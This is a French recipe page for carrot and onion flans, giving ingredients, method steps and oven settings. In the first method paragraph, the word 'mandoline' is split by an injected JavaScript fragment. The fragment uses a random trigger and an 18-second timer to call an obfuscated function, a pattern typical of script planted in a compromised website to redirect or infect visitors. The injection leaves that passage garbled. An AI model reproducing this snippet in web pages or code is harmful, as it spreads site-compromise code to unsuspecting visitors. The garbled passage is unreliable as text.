Flans aux carottes et aux oignons
2021-03-18- Cuisine : Flans salés
- Thématique : Végétarien
- Niveau : Facile
Pelez, émincez les carottes et les oignons avec une mandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andoline. Dans une cocotte avec 2 cuillères à soupe d’huile d’arachide sur feu vif, faites revenir les oignons sans s’arrêter de remuer, pendant quelques minutes. Salez, poivrez.
Ingrédients
Pelez, émincez les carottes et les oignons avec une mandoline. Dans une cocotte avec 2 cuillères à soupe d'huile d'arachide sur feu vif, faites revenir les oignons sans s'arrêter de remuer, pendant quelques minutes. Salez, poivrez. Dans une autre cocotte avec 2 cuillères à soupe d'huile d'arachide, sur feu vif, faites cuire les carottes, pendant 20 minutes. Quand les carottes sont tendres, mélangez-les avec les oignons.
Répartissez / carottes / oignons / dans un plat à gratin. Battez les œufs énergiquement avec une pincée de sel fin. Incorporez la farine, la crème fraîche, le lait, le brin de thym, salez, poivrez.
Versez ce mélange sur les carottes et les oignons. Préchauffez le four à 180° C thermostat 6.
Enfournez et faites cuire pendant 30 minutes. Vérifiez la cuisson. Sortez le flan de carottes du four et dégustez avec une viande de votre choix, ou pas !Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
Etape 9
Etape 10
Etape 11
Etape 12
Etape 13
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